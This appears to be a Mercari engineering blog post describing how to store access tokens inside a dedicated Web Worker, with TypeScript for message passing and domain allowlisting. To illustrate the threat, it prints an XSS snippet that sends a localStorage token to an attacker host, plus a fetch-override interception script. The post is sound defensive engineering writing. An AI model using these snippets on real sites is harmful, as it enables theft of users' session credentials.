Building secure web apps using Web Workers

Security is paramount for our users, and we at mercari strive to provide a snappy and safe platform. We recently introduced an additional layer of defence by adding Web Workers to secure the access token. It now protects the users from various kinds of attacks, including token theft from Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), prototype pollution, zero-day npm package vulnerability, etc.

This blog will dive deep into how to build secure web apps using web workers. We have intentionally not included any mercari-specific details so that you can use the same design at your organization. Together let’s create a secure web! 🎉

🧐 The Problem/Why?

One of the fundamental features of every interactive web app out there is authentication. Authentication flow is pretty simple, tell the server who you are often by specifying the username/email with the proper credentials, and the server shall send back an authentication token.

Now we have a very challenging task to store this accessToken securely on the client browser. 😰 It largely depends on whether we want the JavaScript to have the access to the token or not. If we don’t, we can store them in HttpOnly cookies. But there are many reasons why someone would want JavaScript to have access to these authentication tokens. It provides more control and convenience to the developers. In our case, we don’t need to persist this access token and want to handle the access token value directly from JavaScript, so we didn’t use HTTPOnly Cookie.

Also, we must protect the accessToken from common attacks like CSRF, token theft from XSS and safeguard it from zero-day vulnerabilities in the npm libraries we use for development. There is also a possibility that some malicious script could be injected into the browser console by some extension or by some spammer tricking the client into pasting it manually. It would be great if we could also protect our users from these scenarios.

💼 Solution Overview

Our general idea is to store the accessToken (and other sensitive fields if any) inside the secure context of the Web Worker. We will not expose any API for the main thread to read these sensitive values. Instead, the Main Thread will request the worker thread to include these sensitive values before transmitting the API request to the server. So the worker thread will essentially act as a proxy for all requests from Main Thread. ✨

Do note that the web worker was never meant to be used for securing web applications. It’s just a way to run jobs in background threads. Most of the security features we will cover are more of a side effect because of the design and implementation.

🤔 What is Web Worker?

Web Workers makes it possible to run a script operation in a background thread separate from the main execution thread of a web application. – MDN Docs

Web Worker is widely supported in modern browsers. As of Sept 2022, Web Worker is supported by browsers used by over 98% of users. 🥳 You can refer to the detailed list of supported browsers at caniuse.com.

The most important takeaway is that the execution context and private data remain isolated in a web worker. And we can execute a task in this background thread.

🧐 Which type of Worker to use?

There are mainly three different types of workers in the browser (ref: link):

  • Dedicated workers: These are workers that are utilized by a single script.
  • Shared workers: These are workers that can be utilized by multiple scripts running in different windows, iFrames, etc., as long as they are in the same domain as the worker.
  • Service Workers: These essentially act as proxy servers that sit between web applications, the browser, and the network (when available).

Since we want an isolated environment which can only be accessed by the current browsing context and not by other embedded iframes etc., SharedWorker isn’t suitable for our requirements.

ServiceWorker satisfies most of our requirements, and only the current browsing context can access it. Also, there will be minimal performance overhead as most sites already use ServiceWorker to provide some offline interactivity. But the browser can terminate a service worker at any point during the lifecycle. Also, since the same ServiceWorker instance is used across multiple tabs, it might introduce some tricky race conditions. Since we, as application owners, don’t have much control over the update lifecycle, and for other reasons mentioned above, we thought not to use ServiceWorkers.

So, we propose to use Dedicated Worker (our winner 🥳) to store the accessTokens. It satisfies all our requirements by providing an isolated environment, giving us control over its lifecycle, and isn’t shared across multiple tabs.

🔐 Benefits of storing access tokens in Web Workers

Before looking at the architecture and implementation in detail, let’s look at the benefits of storing the access tokens in web workers. In this section, we shall go through various ways the proposed design to use Web Workers to store the accessToken improves the application’s security & developer’s experience.

👮‍♀️ Protection from Cross Site Scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. – owasp.org

One of the biggest problems with JavaScript having access to the accessToken is that the attacker can steal it in case of an XSS vulnerability.

Most web applications store the access token in localStorage. And if the application is vulnerable to XSS with just a two-liner, the tokens are in the attacker’s pocket!

const accessToken=localStorage.getItem("accessToken")
// attacker sending the stolen accessToken to its upstream server.
fetch("https://attacker.com/capture_token", {
  method: "POST",
  body: accessToken,
})

We can minimize it by storing the token in the browser memory. But since the app is vulnerable to XSS, the attacker can still intercept outgoing HTTP requests, perform prototype pollution or override the window.fetch, XHR, instance etc., to steal the token.

If we store the tokens in the web worker, the attacker can never get access to the token in the main thread. Also, the attacker cannot direct the worker thread to make an API call to its server with the token because that would fail the domain validation. Please note that while this new design reduces the blast radius in the case of Cross Site Scripting, it’s not fool-proof protection. Since the attacker has access to execute javascript, they can register a new worker and perform all the initialization/access token generation steps again. By introducing Web Worker, we only made the process of stealing tokens a bit more difficult for attackers.

🚨 Protection from Prototype pollution

Prototype pollution is an injection attack that specifically targets JavaScript runtimes. With prototype pollution, an attacker might be able to control the default values of an object’s properties. – snyk.io

This means that the attacker could change some method’s behaviour and then try to make us execute some unwanted or compromising logic. However, since the Worker thread is entirely isolated from the Main Thread, any prototype pollution in the Main Thread (by attacker) would not be able to compromise the access token inside the secure Worker thread.

// Main Thread
// script to override the fetch instance, and 
const { fetch: origFetch } = window;
window.fetch = async (...args) => {
    console.warn("fetch called with args:", args);
    const response = await origFetch(...args);
    let token=''
    if(args[0].indexOf('api/getToken')!==-1){
        token=(await response.json()).token
    }else if(args[0].indexOf('api/protected')!==-1){
        token=args[1].headers.Authorization
    }
    if(args[0].indexOf('api') !==-1){
        // the malicious lib can 
        alert(`Got the token: ${token}`)
    }
    // making a request again as the body stream is already used
    return await origFetch(...args);
};

fetch(...) // This is now changed

// Worker thread
window.fetch; // this is not changed

🚔 Protection from Zero-Day Vulnerability in Dependencies

When we use third-party packages, we don’t have any control over what they’re doing inside our application. It poses a real threat to our application and customers. Every now and then, we see reports of compromised NPM packages (link1link2).

By storing the accessToken in a Web Worker, we can keep it isolated from the rest of the application. This way, even if a third-party package is compromised, they won’t be able to steal the token or intercept our requests.

NPM packages unsafe pic
Source: A Malicious Package Found Stealing AWS AIM data on npm has Similarities To Capital One Hack | Mend

🔐 Protection from spammers

Consider a scenario where a spammer calls your customer and asks them to paste a code snippet into their browser console. He then guides them through all the steps on the call. While younger, more knowledgeable audiences are less prone to such attacks, there are still people who are not very familiar with computers. These people are always susceptible to such attacks. It is similar to an XSS attack, and our design protects the users from such attacks too.

👥 Make the code more cohesive

One of the benefits of the design proposed in this blog (to proxy all authenticated requests from Web Worker) is that it allows you to build cohesive code. Since all API requests are proxied through the web worker thread, it makes the design simpler. This also means that any changes to the main thread won’t break anything in the worker thread (and vice versa). We also have low coupling as the communication between the two threads is done via messages passing. Ideally, this will make your code more maintainable and easier to find and fix bugs. 🙂

🎨 Architecture

In this section, we shall explore the architecture of the proposed design. There are broadly three types of requests any web app makes to its backend server, which involves accessToken. Our design aims to support these three requestType(s), and ensure that any update to accessToken is performed inside the worker thread while allowing Main Thread to communicate to the server with minimal overhead. So essentially, the Web Worker acts as a proxy between the Main Thread and the Backend Server.

Let’s examine the three types of requests in more details:

🥇 [RequestType: 1] Generating a new accessToken from the server (Sign In / Sign Up): This is a special requestType, resulting in the server issuing a new accessToken. The Main thread initiates the request by passing a message with appropriate data like username/password to the worker thread. Then, the web worker makes the network call to the server and gets the response (containing accessToken). It updates the accessToken in its secure context and then passes the rest of the data back to the MainThread.

🥈 [RequestType: 2] Fetching accessToken from the server if the user refreshToken is valid. (Get Access Token): We shouldn’t ask the user to enter their credentials again and again, to get an accessToken. Rather our design should be robust enough to use the refreshToken cookie to generate the accessToken (if it’s still valid). Note that, unlike the other two requestType(s), this requestType is initiated from the WebWorker context. In this type of request, the worker thread will dispatch an API call to the server to get back accessToken. It shall be done during application initialization or in case the accessToken expires.

🥉 [RequestType: 3] Make Authenticated Request: As the name suggests, in this requestType the main thread intends to access protected resources in the server on behalf of the authenticated user. In this requestType, the Main Thread sends the URL and the HTTP verb, along with request data and headers, to WorkerThread. The web worker will add the accessToken to the Authorization headers before making the network call.

Please note that in this requestType, the URL and the HTTP verb is specified by the main thread. It’s done solely to improve the developer’s productivity. We don’t want the developers to write code in both Main and Worker Thread just to make a simple API call. This URL flexible schema allows us to improve developers’ productivity and experience drastically. But it comes with a small cost. Now the attacker with access to execute javascript (XSS) can exploit and direct the worker thread to send the accessToken to the attackers’s server. To remedy the situation, we propose to include domain validation to ensure that the accessToken is sent to verified URLs only!

💪 Implementation Deep Dive

📡 Communication between Worker and Main Thread

At the time of worker thread initialization, it will attach an event listener, which will wait for the messages from MainThread. It will remain active throughout the application lifecycle. Similarly, before sending the request/message to the worker thread, the main thread will add an event listener to wait for the response. The main thread will remove this event listener once it receives the response.

There is a small edge case, though; the server’s response might be out of order.
Let’s understand it with the following hypothetical scenario. Consider there are two requests with [ID:1] and [ID:2] such that a network call for request[ID:1] is made before request[ID:2]. The browser may receive the server’s response for request[ID:2] before request[ID:1]. There can be many reasons for it, maybe request[ID:1] involves a lot of heavy computation, or there is network instability etc. The main thread should be smart enough to resolve the correct event listener and don’t alter other active event listeners. The following sequence diagram below tries to explain the scenario in pictorial format.

We propose to tackle this problem by adding a unique identifier to every message sent to the worker thread. In this way, we will resolve only the correct event listener. The following code segment shows the implementation (in typescript).

// mainThread.ts
const workerInstance = new Worker('/workers/auth.worker.js');

workerInstance.onerror = () => {
  console.error('Auth Worker initialization failed.');
};

function dispatchEvent(
  requestPayload: MessageFromMainThreadWithoutId
): Promise<MessageFromWorkerWithoutId> {
  const uid = uuidv4();
  return new Promise((resolve) => {
    if (!workerInstance) {
      return resolve({error: true, message: 'worker err' });
    }
    // add event listener
    const eventHandler = (
      ev: MessageEvent<MessageFromWorker>
    ) => {
      const { data } = ev;
      // checking if the id is same
      if (data?.uid !== uid) {
        return;
      }
      // remove the event handler to avoid memory leaks
      workerInstance.removeEventListener('message', eventHandler);
      resolve(data);
    };
    workerInstance.addEventListener('message', eventHandler);

    const request: MessageFromMainThread = {
      uid,
      ...requestPayload,
    };
    // Pass the request to worker
    workerInstance.postMessage(request);
    return null;
  });
}

🏁 Worker Thread Initialization

Initializing the web worker involves a network call to fetch the javascript code. It’s possible that during this initiation, our application code (Main Thread) sends some message to the uninitialized worker thread. In general scenarios, all those calls would’ve plunged, but thanks to the developers who built the web worker API, there is an implicit stack which queues all such messages. So, no additional implementation overhead of maintaining a request queue, polling the current status of worker thread initiation etc. is needed. But please ensure the application code performs the worker thread initiation as early as possible to maximize performance. (Refer to the MainThread code in the previous subsection for more details).

🌍 Domain Validation

As shared earlier in requestType3 (Make Authenticated Request), to improve developers’ experience, we’re allowing the MainThread to specify the HTTP verb and the URL to which the request must be sent (along with accessToken). The attacker can exploit this design if the site is vulnerable to Cross-site scripting, making the worker thread send the accessToken to its server. We propose to allow the web worker to make requests with accessToken only to relative URLs or allowed domains. The following code snippet shares the code to validateDomain. It uses regexp and the browser native URL interface to determine if the worker thread should make the network call with accessToken or not.

const validateDomain = (url: string) => {
    // validate that the url is valid
    const isAbsolute = /^([a-z][a-zd+-.]*:)?///i.test(url);
    if (!isAbsolute) return true; // the url is relative

    const allowListDomains = [
        'orders.example.com',
        'auth.example.com',
        'products.example.com'
    ]

    try {
        const urlWithScheme = (url.startsWith('//') ? 'https://' : '') + url;
        const urlObj: URL = new URL(urlWithScheme);

        const urlHostName = urlObj.hostname;

        return (
            allowListDomains.find(
                (allowListDomain) =>
                    urlHostName === allowListDomain ||
                    (urlHostName.length > allowListDomain.length + 1 &&
                        urlHostName.endsWith(`.${allowListDomain}`)),
            ) !== undefined
        );
    } catch (err) {
        // the url is malformed
        return false;
    }
}

😕 Issues with this design

Just like any in this world, there are a few caveats with using web workers.

Since we’re storing the accessToken in a web worker, initially, we need to make a network call from the WebWorker context to the server to get the accessToken from the refreshToken (stored as a cookie). So, we’re adding a small latency which might be critical for some applications.

Although web workers are widely supported in modern browsers, many tools still don’t wholly support the web worker’s API. For example, as of Sept 22, the puppeteer still doesn’t support network requests in workers etc. Also, as web worker is a browser feature and cannot be executed in a Nodejs environment, we need to add a mock implementation of web workers to use popular unit testing frameworks like Jest. Even after all these mock implementations and workarounds, testing is still problematic because of cross-thread communication, unknown race conditions etc.

Another tricky thing with the browser’s messaging API is that it cannot serialize all object types. It’s the same API we shall use for to and fro communication between main and worker threads. For example, FormData, one of the critical interfaces used to send files, data etc., to the server, can’t be serialized by this messaging API. We need to have an additional flag is_form_data and perform this serialization and deserialization ourselves.

🎬 Conclusion

To summarize, we’ve recently added an additional layer of security to our Mercari Access Token by storing them inside the secure context of Web Workers. In this blog, we tried to go through the rationale, design, benefits, and implications. We hope that this generic blog helps you secure your accessTokens too!

The story certainly doesn’t end here! We at Mercari constantly strive to make our platform more reliable and secure while simultaneously shipping more features to provide a sleek experience to our users. See you all next time… 🤞

  • X
  • Facebook
  • linkedin
  • このエントリーをはてなブックマークに追加